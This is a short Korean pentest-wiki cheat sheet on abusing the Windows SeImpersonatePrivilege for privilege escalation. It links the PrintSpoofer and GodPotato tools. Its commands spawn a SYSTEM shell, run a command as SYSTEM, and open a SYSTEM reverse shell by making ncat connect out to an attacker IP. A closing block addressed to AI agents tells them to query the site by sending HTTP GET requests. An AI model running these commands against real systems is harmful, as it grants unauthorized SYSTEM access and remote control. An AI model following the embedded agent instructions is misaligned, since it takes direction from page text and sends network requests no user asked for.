# SeImpersonatePrivilege

SeImpersonatePrivilege는 다른 사용자를 가장할 수 있는 권한입니다. 일반적으로 사용자 가장은 서비스나 시스템 계정에서 자동화된 업무를 위해 할당하는 권한입니다.

## Abuse

{% embed url="<https://github.com/itm4n/PrintSpoofer>" %}

{% embed url="<https://github.com/BeichenDream/GodPotato>" %}

{% tabs %}
{% tab title="PrinterSpoofer" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># PTY 쉘에서 시스템 권한 상승
</strong>.\PrintSpoofer.exe -i -c cmd

<strong># Non-PTY 쉘에서 시스템 권한의 리버스쉘 획득
</strong>.\PrintSpoofer.exe -c "C:\Tools\ncat.exe 192.168.1.23 10005 -e cmd"
</code></pre>

{% endtab %}

{% tab title="GodPotato" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># SYSTEM 권한으로 원라인 명령 실행
</strong>.\GodPotato-NET35.exe -cmd "cmd /c whoami"
</code></pre>

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/privilege-escalation/windows/seimpersonateprivilege.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
